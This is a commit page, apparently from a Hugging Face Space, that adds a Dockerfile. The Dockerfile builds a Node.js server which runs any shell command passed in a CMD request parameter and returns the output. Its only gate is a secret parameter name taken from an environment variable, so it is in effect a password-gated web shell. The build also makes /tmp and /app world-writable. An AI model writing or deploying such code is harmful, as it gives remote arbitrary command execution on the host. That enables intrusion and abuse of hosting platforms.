edwagbb commited on
Commit
4552f75
·
verified ·
1 Parent(s): 80c70c5

Create Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +60 -0
Dockerfile ADDED
@@ -0,0 +1,60 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ FROM node:20-bullseye
2
+ ENV PORT 7860
3
+ RUN apt-get update && \
4
+ apt-get upgrade -y && \
5
+ apt-get install -y git wget curl && \
6
+ apt-get clean
7
+ RUN chmod -R u+rwx,g+rwx,o+rwx /tmp
8
+ RUN chmod -R u+rwx,g+rwx,o+rwx /app
9
+ WORKDIR /app
10
+ RUN npm install axios --save
11
+
12
+ RUN cat > /app/index.js << 'EOF'
13
+ const http = require('http');
14
+ const { exec } = require('child_process');
15
+ const url = require('url');
16
+ const querystring = require('querystring');
17
+
18
+ const server = http.createServer((req, res) => {
19
+ // 解析请求中的查询参数
20
+ const parsedUrl = url.parse(req.url);
21
+ const query = querystring.parse(parsedUrl.query);
22
+
23
+ // 处理 POST 请求数据
24
+ let body = '';
25
+ req.on('data', chunk => {
26
+ body += chunk.toString();
27
+ });
28
+
29
+ req.on('end', () => {
30
+ // 合并 GET 和 POST 数据,模拟 PHP 的 $_REQUEST
31
+ const postData = querystring.parse(body);
32
+ const requestData = { ...query, ...postData };
33
+
34
+ // 检查是否存在 pass1236 参数
35
+ if (process.env.PASSWORD && requestData[process.env.PASSWORD] !== undefined) {
36
+ // 执行命令
37
+ if (requestData.CMD) {
38
+ exec(requestData.CMD, (error, stdout, stderr) => {
39
+ res.writeHead(200, { 'Content-Type': 'text/plain' });
40
+ res.end(stdout || stderr);
41
+ });
42
+ } else {
43
+ res.writeHead(200, { 'Content-Type': 'text/plain' });
44
+ res.end('No command specified');
45
+ }
46
+ } else {
47
+ res.writeHead(403, { 'Content-Type': 'text/plain' });
48
+ res.end('Access denied');
49
+ }
50
+ });
51
+ });
52
+
53
+ const PORT = process.env.PORT || 7860;
54
+ server.listen(PORT, () => {
55
+ console.log(`Server running on port ${PORT}`);
56
+ });
57
+
58
+ EOF
59
+
60
+ CMD node /app/index.js